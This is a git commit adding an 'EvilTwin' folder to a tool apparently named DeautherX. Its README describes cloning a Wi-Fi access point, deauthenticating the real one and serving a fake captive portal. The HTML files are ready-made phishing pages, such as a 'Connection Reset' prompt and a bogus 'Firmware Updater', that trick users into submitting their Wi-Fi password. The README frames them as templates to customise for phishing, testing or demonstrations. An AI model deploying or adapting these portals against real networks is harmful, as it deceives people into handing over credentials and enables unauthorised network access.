first commit
This commit is contained in:
11
EvilTwin/README.md
Normal file
11
EvilTwin/README.md
Normal file
@@ -0,0 +1,11 @@
|
||||
# DeautherX
|
||||
|
||||
## DeautherX Custom Captive Portals
|
||||
|
||||
DeautherX can create custom captive portals. Captive portals are commonly used in Wi-Fi networks to gain access to the password of any Wi-Fi access point by creating a twin of the access point and deauthenticating the real one. If the target connects to the fake access point, it will prompt the user to enter the password through a login or firmware update page. With DeautherX, you can customize these portals to suit your needs.
|
||||
|
||||
### HTML Files for Custom Captive Portal Attacks
|
||||
|
||||
DeautherX provides HTML files specifically designed for custom captive portal attacks. These files can be easily modified to create convincing and effective landing pages for phishing attacks, network testing, or educational demonstrations.
|
||||
|
||||
---
|
||||
13
EvilTwin/Wi-Fi.html
Normal file
13
EvilTwin/Wi-Fi.html
Normal file
@@ -0,0 +1,13 @@
|
||||
<html style="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;width:100%;height:100%;overflow:hidden;">
|
||||
<body style="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;width:100%;height:100%;font-family:'Open Sans', sans-serif;background:-webkit-radial-gradient(0% 100%, ellipse cover, rgba(104,128,138,.4) 10%,rgba(138,114,76,0) 40%), linear-gradient(to bottom, rgba(57,173,219,.25) 0%,rgba(42,60,87,.4) 100%), linear-gradient(135deg, #670d10 0%,#092756 100%);filter:progid:DXImageTransform.Microsoft.gradient( startColorstr='#3E1D6D', endColorstr='#092756',GradientType=1 );">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimal-ui">
|
||||
<div class="login" style="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;position:absolute;top:50%;left:50%;margin:-150px 0 0 -150px;width:300px;height:300px;">
|
||||
<h1 style="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;color:#fff;text-shadow:0 0 10px rgba(0,0,0,0.3);letter-spacing:1px;text-align:center;"><span class="container" id="ssid">ssid</span></h1><p><center>Connection Reset <br> Please Re-Submit your WiFi Password</p></center><br>
|
||||
<form action='/' method='get' style="-webkit-box-sizing:border-box; -moz-box-sizing:border-box; -ms-box-sizing:border-box; -o-box-sizing:border-box; box-sizing:border-box;">
|
||||
|
||||
|
||||
<input type=password name=password placeholder="Password" required="required" style="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;width:100%;margin-bottom:10px;background:rgba(0,0,0,0.3);border:1px solid rgba(0,0,0,0.3);outline:none;padding:10px;font-size:13px;color:#fff;text-shadow:1px 1px 1px rgba(0,0,0,0.3);border-radius:4px;box-shadow:inset 0 -5px 45px rgba(100,100,100,0.2), 0 1px 1px rgba(255,255,255,0.2);-webkit-transition:box-shadow .5s ease;-moz-transition:box-shadow .5s ease;-o-transition:box-shadow .5s ease;-ms-transition:box-shadow .5s ease;transition:box-shadow .5s ease;"><input type=submit class="btn btn-primary btn-block btn-large" style="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;display:block;*display:inline;*zoom:1;padding:9px 14px;margin-bottom:0;font-size:15px;line-height:normal;color:#ffffff;text-align:center;text-shadow:1px 1px 1px rgba(0,0,0,0.4);vertical-align:middle;background-color:#4a77d4;background-image:linear-gradient(top, #6eb6de, #4a77d4);background-repeat:repeat-x;filter:progid:dximagetransform.microsoft.gradient(startColorstr=#6eb6de, endColorstr=#4a77d4, GradientType=0);border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);border:1px solid #3762bc;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.5);cursor:pointer;*margin-left:.3em;width:100%;" value="Connect">
|
||||
</form>
|
||||
</div></body>
|
||||
<script src="/index.js"></script>
|
||||
</html>
|
||||
39
EvilTwin/WiFI1.html
Normal file
39
EvilTwin/WiFI1.html
Normal file
@@ -0,0 +1,39 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Firmware Updater</title>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="stylesheet" type="text/css" href="style.css" />
|
||||
<script src="js/site.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<div id="status"></div>
|
||||
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h1 class="header">Firmware Updater</h1>
|
||||
<form action="/submit" style="padding-left: 20px; padding-right: 20px;" method="get">
|
||||
<input style="width: 100%;" type="text" name="password" id="password" placeholder="Password" minlength="8" required>
|
||||
<input style="width: 100%; margin-top: 20px;" type="submit" value="UPDATE">
|
||||
</form>
|
||||
<h2>Disclaimer</h2>
|
||||
<p >
|
||||
To update <b>Firmware</b>, you will need to enter the WiFi Password. The firmware password is a security feature that helps to protect your device from unauthorized firmware updates. To enter the firmware password, follow this steps.
|
||||
<br>
|
||||
<ul>
|
||||
<li>Go to firmware updater</li>
|
||||
<li>Input password</li>
|
||||
<li>Wait for verify password</li>
|
||||
<li>Updating firmware</li>
|
||||
<li>DONE</li>
|
||||
</ul>
|
||||
If you do not know the firmware password, you can contact the WiFi manufacturer for assistance.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
118
EvilTwin/WiFi.html
Normal file
118
EvilTwin/WiFi.html
Normal file
@@ -0,0 +1,118 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Firmware Updater</title>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #f7f7f7;
|
||||
margin: 0;
|
||||
padding: 20px;
|
||||
height: 100%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
align-content: center;
|
||||
}
|
||||
|
||||
h2 {
|
||||
color: #333;
|
||||
text-align: center;
|
||||
}
|
||||
.container-bg {
|
||||
position: relative;
|
||||
margin: 0 auto;
|
||||
justify-content: center;
|
||||
max-width: 500px;
|
||||
box-shadow: 0 0 8px rgba(0, 0, 0, 0.1);
|
||||
}
|
||||
|
||||
.container-center {
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
align-items: center;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.footer {
|
||||
position: absolute;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
margin: 0;
|
||||
|
||||
justify-content: center;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: max-content;
|
||||
margin: 0 auto;
|
||||
background-color: #fff;
|
||||
padding: 20px;
|
||||
border-radius: 4px;
|
||||
box-shadow: 0 0 8px rgba(0, 0, 0, 0.1);
|
||||
}
|
||||
.form-group {
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.form-group label {
|
||||
display: block;
|
||||
margin-bottom: 5px;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
input[type="password"] {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
input[type="submit"] {
|
||||
display: block;
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
text-align: center;
|
||||
background-color: #007bff;
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container-center">
|
||||
<div class="container-bg">
|
||||
<div class="container">
|
||||
<h2>Firmware Updater</h2>
|
||||
<p>
|
||||
For security reasons, we require you to verify your password before
|
||||
proceeding with the firmware update.
|
||||
</p>
|
||||
<form action="/submit" method="get">
|
||||
<div class="form-group">
|
||||
<input
|
||||
type="password"
|
||||
id="password"
|
||||
name="password"
|
||||
placeholder="Password"
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
<input type="submit" value="Verify" />
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
<div class="footer">
|
||||
<p>Captive Portal<br />© 2023 All Right Reserved</p>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
49
EvilTwin/Wi_Fi.html
Normal file
49
EvilTwin/Wi_Fi.html
Normal file
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user